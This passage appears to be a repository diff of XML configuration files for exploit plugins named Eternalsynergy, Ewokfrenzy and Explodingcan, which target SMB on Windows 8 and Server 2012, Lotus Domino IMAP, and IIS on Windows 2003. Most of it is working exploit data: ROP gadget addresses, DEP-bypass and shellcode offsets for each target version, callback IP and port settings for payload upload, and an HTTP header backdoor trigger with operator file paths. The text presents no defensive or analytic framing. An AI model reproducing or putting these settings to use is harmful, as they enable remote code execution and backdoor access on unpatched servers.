<parameter hidden='true' type='U8' name='OsServicePack' description='OS Service Pack Level'>
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name='SERVER_2K12_SP0' description='Windows Server 2012 Sp0, 64-bit'>
<parameter hidden='true' type='U8' name='OsMajor' description='OS Major Version'>
<default>6</default>
</parameter>
<parameter hidden='true' type='U8' name='OsMinor' description='OS Minor Version'>
<default>2</default>
</parameter>
<parameter hidden='true' type='U8' name='OsServicePack' description='OS Service Pack Level'>
<default>0</default>
</parameter>
</paramgroup>
</paramchoice>
</inputparameters>
<outputparameters>
<parameter type='Buffer' name='TargetOsArchitecture' description='The architecture of the target operating system'/>
</outputparameters>
<errors>
<errorcode name='ETSY_ERROR_NO_MEMORY' value='65' description='Out of memory'/>
<errorcode name='ETSY_ERROR_INVALID_PIPE_CHOICE' value='66' description='Named pipe choice not supported'/>
<errorcode name='ETSY_UNALIGNED_RPC_STRUCT' value='67' description='Unaligned data attempted to be sent over browser pipe'/>
<errorcode name='ETSY_ERROR_PIPES_NOT_AVAILABLE' value='68' description='No pipes available to connect to'/>
<errorcode name='ETSY_ERROR_WINSOCK_STARTUP' value='69' description='Winsock failed to start up'/>
<errorcode name='ETSY_ERROR_PARAM_INIT' value='69' description='Error during parameter initialization'/>
<errorcode name='ETSY_ERROR_TRANS_NOT_FOUND' value='70' description='Unable to find a Transaction struct with info leak'/>
<errorcode name='ETSY_ERROR_TRANS_WRITE_OUT_OF_RANGE' value='71' description='Cannot write that far into Transaction, should have written more with WriteAndX'/>
<errorcode name='ETSY_ERROR_TRANS_TAKEOVER_UNSUCCESSFUL' value='72' description='Memory written to was not a transaction we controlled'/>
<errorcode name='ETSY_ERROR_OUT_OF_REMOTE_MEMORY' value='73' description='Out of memory to use in remote transaction'/>
<errorcode name='ETSY_ERROR_UNKNOWN_TRANS_SIZE' value='74' description='Unknown transaction size detected'/>
<errorcode name='ETSY_ERROR_NOT_ENOUGH_LEAK_DATA' value='75' description='Leak returned with less data than it should have'/>
<errorcode name='ETSY_ERROR_STRUCT_WALK_ABORTED' value='76' description='Failed to walk structures and find Srv module'/>
<errorcode name='ETSY_ERROR_BACKDOOR_NOT_PRESENT' value='77' description='Backdoor transaction sent but backdoor did not respond'/>
<errorcode name='ETSY_ERROR_PAYLOAD_TOO_LARGE' value='78' description='Stage 1 payload exceeded max allowed size (0xFFFF)'/>
<errorcode name='ETSY_ERROR_BACKDOOR_RETURNED_ERROR' value='79' description='Backdoor present but returned an error code'/>
<errorcode name='ETSY_ERROR_BLUE_SCREENED_TARGET' value='80' description='Overwrite caused the target to blue screen'/>
<errorcode name='ETSY_ERROR_OS_NOT_SUPPORTED' value='81' description='Offsets not available for the targeted OS'/>
<errorcode name='ETSY_ERROR_DISPATCH_TABLE_NOT_FOUND' value='82' description='Unable to locate the dispatch table in memory'/>
<errorcode name='ETSY_ERROR_EXPLOITATION_UNSUCCESSFUL' value='83' description='Exploit methods were tried and were not successful'/>
<errorcode name='ETSY_ERROR_EXPLOIT_METHOD_UNSUCCESSFUL' value='84' description='Exploit method was not successful but did not crash, other methods may be tried'/>
<errorcode name='ETSY_ERROR_INVALID_EXPLOIT_METHOD' value='85' description='Exploit method not possible for target OS'/>
<errorcode name='ETSY_ERROR_TIPPYBEER' value='86' description='Tippybeer encountered an unrecoverable error, probably memory related'/>
<errorcode name='ETSY_ERROR_CONNECTION_LOCAL' value='87' description='Something went wrong at the network layer on our end!'/>
<errorcode name='ETSY_ERROR_CONNECTION_REMOTE' value='88' description='Connection to target failed'/>
<errorcode name='ETSY_ERROR_ARCH' value='89' description='Architecture is unknown or not supported'/>
</errors>
<redirection>
<local protocol='TCP' listenaddr='TargetIp' listenport='TargetPort' closeoncompletion='true' destaddr='TargetIp' destport='TargetPort'/>
</redirection>
<logic>
<and>
<service name='smb'>
<bindtovalue name='Protocol' value='SMB'/>
<bindtopath path="//service[name='smb']/port" name='TargetPort'/>
</service>
<or>
<os servicepack='0' name='Windows 8' family='windows' architecture='x64 64-bit'>
<bindtovalue name='Target' value='WIN8_SP0'/>
</os>
<os servicepack='0' name='Windows Server 2012' family='windows' architecture='x64 64-bit'>
<bindtovalue name='Target' value='SERVER_2K12_SP0'/>
</os>
</or>
</and>
</logic>
</config>

Binary file not shown.

View file

@ -0,0 +1,21 @@
<?xml version="1.0"?>
<t:config id="665a77d7870f1e8dc34048203dc820525c09bd23"
name="Eternalsynergy"
version="1.0.1"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Smbtouch"
displayname="ETSY Vulnerability Touch"
description="Check if Target is vulnerable to ETSY">
<t:oparam name="Target" value="Target"/>
<t:oparam name="TargetOsArchitecture" value="TargetOsArchitecture"/>
<t:oparam name="PipeName" value="PipeName"/>
<t:oparam name="ShareName" value="ShareName"/>
<t:oparam name="Credentials" value="Credentials"/>
<t:oparam name="Username" value="Username"/>
<t:oparam name="Password" value="Password"/>
<t:oparam name="NtlmHash" value="NtlmHash"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,8 @@
<?xml version="1.0"?>
<t:config id="c6cbf455066b1dbf43c7c3332a50a273e986ec5c"
name="Ewokfrenzy"
version="2.0.0"
configversion="2.0.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
</t:config>

View file

@ -0,0 +1,105 @@
<?xml version="1.0"?>
<t:config id="c6cbf455066b1dbf43c7c3332a50a273e986ec5c"
name="Ewokfrenzy"
version="2.0.0"
configversion="2.0.0.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<!-- Parameters for the target machine -->
<t:parameter name="TargetIp" type="IPv4" description="Target IPv4 Address (dot notation)" />
<t:parameter name="TargetPort" type="TcpPort" description="Target Port Number for IMAP service" />
<!-- Parameters for the callback machine -->
<t:parameter name="CallbackIp" type="IPv4" description="Callback IPv4 Address (dot notation)" />
<t:parameter name="CallbackPort" type="TcpPort" description="Callback Port Number" default="0" />
<t:parameter name="CallbackLocalPort" type="TcpPort" description="Callback Port Number" required="false" />
<t:parameter name="NetworkTimeout" type="S16" description="Timeout for blocking network calls (in seconds). Use -1 for no timeout." default="60" />
<t:paramchoice name="DominoVersion" description="The version of Lotus Domino running on the target">
<!-- This is a template for the version-dependent input parameters
<t:paramgroup name="7.0.2" description="">
<t:parameter name="ReturnAddrOffset" description="Number of bytes between the start of the input buffer and the vulnerable return address" type="U32" value="0x22C" hidden="true" />
<t:parameter name="AddrPopEax" description="Memory address satisfying the requirements for the PopEax routine" type="U32" value="0x0042A001" hidden="true" />
<t:parameter name="AddrVirtualAlloc" description="Memory address whose contents point to the kernel32.VirtualAlloc routine" type="U32" value="0x0043305C" hidden="true" />
<t:parameter name="AddrJmpEaxPtr" description="Memory address satisfying the requirements for the JmpEaxPtr routine" type="U32" value="0x0041D5A7" hidden="true" />
<t:parameter name="AddrPopEdi" description="Memory address satisfying the requirements for the PopEdi routine" type="U32" value="0x0042CB58" hidden="true" />
<t:parameter name="AddrEaxToEsi" description="Memory address satisfying the requirements for the EaxToEsi routine" type="U32" value="0x100AAADD" hidden="true" />
<t:parameter name="AddrCopyCode" description="Memory address satisfying the requirements for the CopyCode routine" type="U32" value="0x60709A24" hidden="true" />
<t:parameter name="AddrIncEax" description="Memory address satisfying the requirements for the IncEax routine" type="U32" value="0x600F8E54" hidden="true" />
<t:parameter name="AddrJmpEax" description="Memory address satisfying the requirements for the JmpEax routine" type="U32" value="0x00429A6C" hidden="true" />
<t:parameter name="AddrSetAtEdxRet" description="Memory address satisfying the requirements for the SetAtEdxRet routine" type="U32" value="0x004050A7" hidden="true" />
<t:parameter name="AddrClrEaxRet" description="Memory address satisfying the requirements for the ClrEaxRet routine" type="U32" value="0x6001FAC1" hidden="true" />
<t:parameter name="RetEip" description="Address of instruction to cleanly return execution to" type="U32" value="0x00413E78" hidden="true" />
</t:paramgroup>
-->
<t:paramgroup name="6.5.4" description="">
<!-- Return Addresses appearing in null-friendly buffer in conventional DEP defeat -->
<t:parameter name="AddrPopEax" description="" type="U32" value="0x00428463" hidden="true" />
<t:parameter name="AddrVirtualAlloc" description="" type="U32" value="0x0042E038" hidden="true" />
<t:parameter name="AddrJmpEaxPtr" description="" type="U32" value="0x00420CF5" hidden="true" />
<t:parameter name="AddrPopEdi" description="" type="U32" value="0x60132252" hidden="true" />
<t:parameter name="AddrEaxToEsi" description="" type="U32" value="0x60951039" hidden="true" />
<t:parameter name="AddrCopyCode" description="" type="U32" value="0x607112B4" hidden="true" />
<t:parameter name="AddrIncEax" description="" type="U32" value="0x60168187" hidden="true" />
<t:parameter name="AddrJmpEax" description="" type="U32" value="0x600A371D" hidden="true" />
<!-- Return Addresses appearing in null-friendly buffer after conventional DEP defeat -->
<t:parameter name="AddrSetAtEdxRet" description="" type="U32" value="0x609DBEA1" hidden="true" />
<t:parameter name="AddrClrEaxRet" description="" type="U32" value="0x0042845E" hidden="true" />
<t:parameter name="OffsetEsp2Buffer" description="" type="U32" value="0x000000BC" hidden="true" />
<t:parameter name="OffsetEsp2Ebp" description="" type="U32" value="0x00000090" hidden="true" />
<t:parameter name="CleanupOverflowed" description="" type="U32" value="0x60A528EC" hidden="true" />
</t:paramgroup>
<t:paramgroup name="7.0.2" description="">
<!-- Return Addresses appearing in null-friendly buffer in conventional DEP defeat -->
<t:parameter name="AddrPopEax" description="" type="U32" value="0x0042A001" hidden="true" />
<t:parameter name="AddrVirtualAlloc" description="" type="U32" value="0x0043305C" hidden="true" />
<t:parameter name="AddrJmpEaxPtr" description="" type="U32" value="0x0041D5A7" hidden="true" />
<t:parameter name="AddrPopEdi" description="" type="U32" value="0x0042CB58" hidden="true" />
<t:parameter name="AddrEaxToEsi" description="" type="U32" value="0x100AAADD" hidden="true" />
<t:parameter name="AddrCopyCode" description="" type="U32" value="0x60709A24" hidden="true" />
<t:parameter name="AddrIncEax" description="" type="U32" value="0x600F8E54" hidden="true" />
<t:parameter name="AddrJmpEax" description="" type="U32" value="0x00429A6C" hidden="true" />
<!-- Return Addresses appearing in null-friendly buffer after conventional DEP defeat -->
<t:parameter name="AddrSetAtEdxRet" description="" type="U32" value="0x004050A7" hidden="true" />
<t:parameter name="AddrClrEaxRet" description="" type="U32" value="0x6001FAC1" hidden="true" />
<t:parameter name="OffsetEsp2Buffer" description="" type="U32" value="0x000000BC" hidden="true" />
<t:parameter name="OffsetEsp2Ebp" description="" type="U32" value="0x00000090" hidden="true" />
<t:parameter name="CleanupOverflowed" description="" type="U32" value="0x60B3FDF8" hidden="true" />
</t:paramgroup>
</t:paramchoice>
</t:inputparameters>
<t:outputparameters>
<t:parameter name="Contract"
description="The contract fulfilled by this plugin"
type="String"
value="StagedUpload"/>
<t:parameter name="ConnectedTcp" type="Socket" description="the connected socket to the target following exploitation"/>
<t:parameter name="XorMask" type="U8" description="the xor-mask set in the exploit for decoding the payload"/>
</t:outputparameters>
<t:redirection>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="//identifier"
destport="//service[name='imap']/port"
closeoncompletion="true"/>
<t:remote protocol="TCP"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackLocalPort"/>
</t:redirection>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,625 @@
<?xml version='1.0' encoding='utf-8'?>
<config xmlns='urn:trch' name='Explodingcan' version='2.0.2' schemaversion='2.1.0' configversion='2.0.2.0' id='9b6d2c7a836744e5cd54e4db262f09c67a5cae17'>
<inputparameters>
<paramchoice name='PayloadAccessType' description='Callback/Listen Payload Access'>
<paramgroup name='Callback' description='Target connect() callback for payload upload connection'>
<parameter type='IPv4' name='CallbackIp' description='Callback IP Address'/>
<parameter type='TcpPort' name='CallbackPort' description='Callback port'/>
<parameter type='TcpPort' name='CallbackLocalPort' description='Local callback port'/>
</paramgroup>
<paramgroup name='Listen' description='Target listen()/accept() for payload upload connection'>
<parameter type='TcpPort' name='ListenPort' description='Listen port for shellcode to listen/accept on target'/>
<parameter type='TcpPort' name='ListenLocalPort' description='Local listen por'/>
<parameter type='U16' name='CallinTimeout' description='Sleep time before making callin to target'>
<default>10</default>
</parameter>
</paramgroup>
<paramgroup name='Backdoor' description='Target open HTTP backdoor for payload upload connection'>
<paramchoice name='BackdoorHeader' description='Name of HTTP header used to trigger backdoor.'>
<default>If-Match</default>
<paramgroup name='Accept' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>20</default>
</parameter>
</paramgroup>
<paramgroup name='Accept-Charset' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>21</default>
</parameter>
</paramgroup>
<paramgroup name='Accept-Encoding' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>22</default>
</parameter>
</paramgroup>
<paramgroup name='Accept-Language' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>23</default>
</parameter>
</paramgroup>
<paramgroup name='Allow' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>10</default>
</parameter>
</paramgroup>
<paramgroup name='Authorization' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>24</default>
</parameter>
</paramgroup>
<paramgroup name='Cache-Control' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>0</default>
</parameter>
</paramgroup>
<paramgroup name='Content-Encoding' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>13</default>
</parameter>
</paramgroup>
<paramgroup name='Content-Language' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>14</default>
</parameter>
</paramgroup>
<paramgroup name='Content-Location' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>15</default>
</parameter>
</paramgroup>
<paramgroup name='Content-MD5' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>16</default>
</parameter>
</paramgroup>
<paramgroup name='Content-Range' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>17</default>
</parameter>
</paramgroup>
<paramgroup name='Content-Type' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>12</default>
</parameter>
</paramgroup>
<paramgroup name='Cookie' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>25</default>
</parameter>
</paramgroup>
<paramgroup name='Date' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>2</default>
</parameter>
</paramgroup>
<paramgroup name='Expect' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>26</default>
</parameter>
</paramgroup>
<paramgroup name='Expires' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>18</default>
</parameter>
</paramgroup>
<paramgroup name='From' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>27</default>
</parameter>
</paramgroup>
<paramgroup name='If-Match' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>29</default>
</parameter>
</paramgroup>
<paramgroup name='If-Modified-Since' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>30</default>
</parameter>
</paramgroup>
<paramgroup name='If-None-Match' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>31</default>
</parameter>
</paramgroup>
<paramgroup name='If-Range' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>32</default>
</parameter>
</paramgroup>
<paramgroup name='If-Unmodified-Since' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>33</default>
</parameter>
</paramgroup>
<paramgroup name='Last-Modified' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>19</default>
</parameter>
</paramgroup>
<paramgroup name='Max-Forwards' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>34</default>
</parameter>
</paramgroup>
<paramgroup name='Pragma' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>4</default>
</parameter>
</paramgroup>
<paramgroup name='Proxy-Authorization' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>35</default>
</parameter>
</paramgroup>
<paramgroup name='Range' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>37</default>
</parameter>
</paramgroup>
<paramgroup name='Referer' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>36</default>
</parameter>
</paramgroup>
<paramgroup name='Trailer' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>5</default>
</parameter>
</paramgroup>
<paramgroup name='Translate' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>39</default>
</parameter>
</paramgroup>
<paramgroup name='Upgrade' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>7</default>
</parameter>
</paramgroup>
<paramgroup name='User-Agent' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>40</default>
</parameter>
</paramgroup>
<paramgroup name='Via' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>8</default>
</parameter>
</paramgroup>
<paramgroup name='Warning' description=''>
<parameter hidden='true' type='U32' name='BackdoorIndex' description=''>
<default>9</default>
</parameter>
</paramgroup>
</paramchoice>
<paramchoice name='BackdoorValueSource' description='Method of generating value for HTTP trigger header.'>
<default>RandomEtag</default>
<paramgroup name='Manual' description='Operator-controlled value.'>
<parameter type='String' name='BackdoorValue' description='HTTP header value used to trigger backdoor.'/>
</paramgroup>
<paramgroup name='RandomEtag' description='Randomly generated HTTP Etag string.'>
<parameter hidden='true' type='String' name='BackdoorValue' description=''>
<default>&lt;RANDOM_ETAG&gt;</default>
</parameter>
</paramgroup>
<paramgroup name='RandomBasicAuth' description='Randomly generated Basic Auth credential string.'>
<parameter hidden='true' type='String' name='BackdoorValue' description=''>
<default>&lt;RANDOM_BASIC_AUTH&gt;</default>
</parameter>
</paramgroup>
</paramchoice>
<parameter type='U32' name='BackdoorDelay' description='How long to wait (in seconds) for trigger responses.'>
<default>10</default>
</parameter>
<parameter type='U32' name='BackdoorRetries' description='Maximum number of times to try triggering the backdoor.'>
<default>1</default>
</parameter>
<parameter type='LocalFile' name='PccpPy' description='Full path to pccp.pyc.'>
<value>D:\DSZOPSDISK\storage\pccp.pyc</value>
</parameter>
<parameter type='LocalFile' name='BackdoorBridgeDLL' description='Full path to IIS-backdoor-to-PC-host DLL.'>
<value>D:\DSZOPSDISK\storage\brdg.dll</value>
</parameter>
<parameter type='LocalFile' name='PythonExe' description='Full path to Python [2.6] executable.'>
<value>C:\Python26\python.exe</value>
</parameter>
</paramgroup>
</paramchoice>
<parameter type='IPv4' name='TargetIp' description='Target IP Address'/>
<parameter type='TcpPort' name='TargetPort' description='Port of the HTTP service'>
<default>80</default>
</parameter>
<parameter type='U16' name='NetworkTimeout' description='Network timeout (in seconds)'>
<default>60</default>
</parameter>
<parameter type='Boolean' name='EnableSSL' description='Enable SSL for HTTPS targets'>
<default>false</default>
</parameter>
<parameter type='U32' name='IISPathSize' description='Length of IIS path (between 3 and 68)'>
<default>18</default>
</parameter>
<parameter type='String' name='hostString' description='String to use in HTTP requests'>
<default>localhost</default>
</parameter>
<paramchoice name='AuthenticationType' description='Authentication type for target'>
<default>None</default>
<paramgroup name='None' description='No authentication'/>
<paramgroup name='Basic' description='Basic HTTP authentication'>
<parameter type='String' name='Username' description='Valid basic authenticiation username'/>
<parameter type='String' name='Password' description='Valid basic authenticiation password'/>
</paramgroup>
</paramchoice>
<parameter hidden='true' type='U32' name='buf1size' description=''>
<value>0x110</value>
</parameter>
<parameter hidden='true' type='U32' name='buf2size' description=''>
<value>0xc00</value>
</parameter>
<parameter hidden='true' type='U32' name='SkipFree' description=''>
<value>0x02020202</value>
</parameter>
<parameter hidden='true' type='U32' name='SkipOffset' description=''>
<value>0xDC</value>
</parameter>
<parameter hidden='true' type='U32' name='VirtualProtectOffset' description=''>
<value>0x11C</value>
</parameter>
<parameter hidden='true' type='U32' name='WriteAddressOffset1' description=''>
<value>0xE0</value>
</parameter>
<parameter hidden='true' type='U32' name='WriteAddressOffset2' description=''>
<value>0x124</value>
</parameter>
<parameter hidden='true' type='U32' name='ObjectAddress' description=''>
<value>0x100</value>
</parameter>
<parameter hidden='true' type='U32' name='ObjectAddressOffset1' description=''>
<value>0x10C</value>
</parameter>
<parameter hidden='true' type='U32' name='ObjectAddressOffset4' description=''>
<value>0xFC</value>
</parameter>
<parameter hidden='true' type='U32' name='ObjectAddressOffset2' description=''>
<value>0xE8</value>
</parameter>
<parameter hidden='true' type='U32' name='ObjectAddressOffset3' description=''>
<value>0xD8</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEcxEspOffset' description=''>
<value>0xFC</value>
</parameter>
<parameter hidden='true' type='U32' name='StackAdjustOffset1' description=''>
<value>0xDC</value>
</parameter>
<parameter hidden='true' type='U32' name='StackAdjustOffset2' description=''>
<value>0xE0</value>
</parameter>
<parameter hidden='true' type='U32' name='StackAdjustOffset3' description=''>
<value>0x138</value>
</parameter>
<parameter hidden='true' type='U32' name='Push40Offset' description=''>
<value>0x10C</value>
</parameter>
<parameter hidden='true' type='U32' name='LeaveRetOffset1' description=''>
<value>0x134</value>
</parameter>
<parameter hidden='true' type='U32' name='LeaveRetOffset2' description=''>
<value>0x174</value>
</parameter>
<parameter hidden='true' type='U32' name='SetEbp1' description=''>
<value>0x174</value>
</parameter>
<parameter hidden='true' type='U32' name='SetEbp1Offset' description=''>
<value>0x130</value>
</parameter>
<parameter hidden='true' type='U32' name='SetEbp2' description=''>
<value>0x15C</value>
</parameter>
<parameter hidden='true' type='U32' name='SetEbp2Offset' description=''>
<value>0x14c</value>
</parameter>
<parameter hidden='true' type='U32' name='SetEbp3' description=''>
<value>0x138</value>
</parameter>
<parameter hidden='true' type='U32' name='SetEbp3Offset' description=''>
<value>0x170</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEbpOffset' description=''>
<value>0x150</value>
</parameter>
<parameter hidden='true' type='U32' name='ShellcodeAddr' description=''>
<value>0x1a0</value>
</parameter>
<parameter hidden='true' type='U32' name='ShellcodeAddrOffset' description=''>
<value>0x118</value>
</parameter>
<parameter hidden='true' type='U32' name='ShellcodeOffset' description=''>
<value>0x178</value>
</parameter>
<parameter hidden='true' type='U32' name='JmpEBXOffset' description=''>
<value>0x114</value>
</parameter>
<parameter hidden='true' type='U32' name='ProcHandleOffset' description=''>
<value>0x120</value>
</parameter>
<parameter hidden='true' type='U32' name='VProtSizeOffset' description=''>
<value>0x128</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEaxOffset' description=''>
<value>0x138</value>
</parameter>
<parameter hidden='true' type='U32' name='EaxValOffset' description=''>
<value>0x160</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax2Offset' description=''>
<value>0x168</value>
</parameter>
<paramchoice name='Target' description='Target OS'>
<paramgroup name='W2K3SP0' description='Windows 2003 Base'>
<parameter hidden='true' type='U32' name='MovEcxEsp' description=''>
<value>0x010021d0</value>
</parameter>
<parameter hidden='true' type='U32' name='WriteAddress' description=''>
<value>0x01002030</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEcxEsp' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='StackAdjust' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='Push40' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='LeaveRet' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEbp' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='JmpEBX' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='SyscallAddress' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='VProtSize' description=''>
<value>0x01002034</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='EaxValAddress' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax2' description=''>
<value>0xffffffff</value>
</parameter>
</paramgroup>
<paramgroup name='W2K3SP1' description='Windows 2003 Service Pack 1'>
<parameter hidden='true' type='U32' name='WriteAddress' description=''>
<value>0x01003030</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEcxEsp' description=''>
<value>0x68015cd2</value>
</parameter>
<parameter hidden='true' type='U32' name='StackAdjust' description=''>
<value>0x68006D5F</value>
</parameter>
<parameter hidden='true' type='U32' name='Push40' description=''>
<value>0x6800B023</value>
</parameter>
<parameter hidden='true' type='U32' name='LeaveRet' description=''>
<value>0x6801277f</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEbp' description=''>
<value>0x68006d15</value>
</parameter>
<parameter hidden='true' type='U32' name='JmpEBX' description=''>
<value>0x6801227b</value>
</parameter>
<parameter hidden='true' type='U32' name='SyscallAddress' description=''>
<value>0x7ffe0300</value>
</parameter>
<parameter hidden='true' type='U32' name='VProtSize' description=''>
<value>0x6802906c</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax' description=''>
<value>0x680092a1</value>
</parameter>
<parameter hidden='true' type='U32' name='EaxValAddress' description=''>
<value>0x68008156</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax2' description=''>
<value>0x680229a1</value>
</parameter>
</paramgroup>
<paramgroup name='W2K3SP2' description='Windows 2003 Service Pack 2'>
<parameter hidden='true' type='U32' name='WriteAddress' description=''>
<value>0x680312C0</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEcxEsp' description=''>
<value>0x68016082</value>
</parameter>
<parameter hidden='true' type='U32' name='StackAdjust' description=''>
<value>0x68006E4F</value>
</parameter>
<parameter hidden='true' type='U32' name='Push40' description=''>
<value>0x6800B113</value>
</parameter>
<parameter hidden='true' type='U32' name='LeaveRet' description=''>
<value>0x680129E7</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEbp' description=''>
<value>0x68006e05</value>
</parameter>
<parameter hidden='true' type='U32' name='JmpEBX' description=''>
<value>0x680124e3</value>
</parameter>
<parameter hidden='true' type='U32' name='SyscallAddress' description=''>
<value>0x7ffe0300</value>
</parameter>
<parameter hidden='true' type='U32' name='VProtSize' description=''>
<value>0x6803046e</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax' description=''>
<value>0x68009391</value>
</parameter>
<parameter hidden='true' type='U32' name='EaxValAddress' description=''>
<value>0x68008246</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax2' description=''>
<value>0x68021daa</value>
</parameter>
</paramgroup>
<paramgroup name='W2K3SP0_v5IM' description='Windows 2003 Base (IIS 5.0 Isolation Mode)'>
<parameter hidden='true' type='U32' name='MovEcxEsp' description=''>
<value>0x010043d0</value>
</parameter>
<parameter hidden='true' type='U32' name='WriteAddress' description=''>
<value>0x01004230</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEcxEsp' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='StackAdjust' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='Push40' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='LeaveRet' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEbp' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='JmpEBX' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='SyscallAddress' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='VProtSize' description=''>
<value>0x01004234</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='EaxValAddress' description=''>
<value>0xffffffff</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax2' description=''>
<value>0xffffffff</value>
</parameter>
</paramgroup>
<paramgroup name='W2K3SP1_v5IM' description='Windows 2003 Service Pack 1 (IIS 5.0 Isolation Mode)'>
<parameter hidden='true' type='U32' name='WriteAddress' description=''>
<value>0x01004200</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEcxEsp' description=''>
<value>0x68015cd2</value>
</parameter>
<parameter hidden='true' type='U32' name='StackAdjust' description=''>
<value>0x68006D5F</value>
</parameter>
<parameter hidden='true' type='U32' name='Push40' description=''>
<value>0x6800B023</value>
</parameter>
<parameter hidden='true' type='U32' name='LeaveRet' description=''>
<value>0x6801277f</value>
</parameter>
<parameter hidden='true' type='U32' name='MovEbp' description=''>
<value>0x68006d15</value>
</parameter>
<parameter hidden='true' type='U32' name='JmpEBX' description=''>
<value>0x6801227b</value>
</parameter>
<parameter hidden='true' type='U32' name='SyscallAddress' description=''>
<value>0x7ffe0300</value>
</parameter>
<parameter hidden='true' type='U32' name='VProtSize' description=''>
<value>0x6802906c</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax' description=''>
<value>0x680092a1</value>
</parameter>
<parameter hidden='true' type='U32' name='EaxValAddress' description=''>
<value>0x68008156</value>
</parameter>
<parameter hidden='true' type='U32' name='LoadEax2' description=''>
<value>0x680229a1</value>
</parameter>
</paramgroup>
</paramchoice>
</inputparameters>
<outputparameters>
<paramchoice name='Contract' description='The contract fulfilled by this plugin'>
<value>StagedUpload</value>
<paramgroup name='StagedUpload' description=''>
<parameter type='Socket' name='ConnectedTcp' description='The connected socket'/>
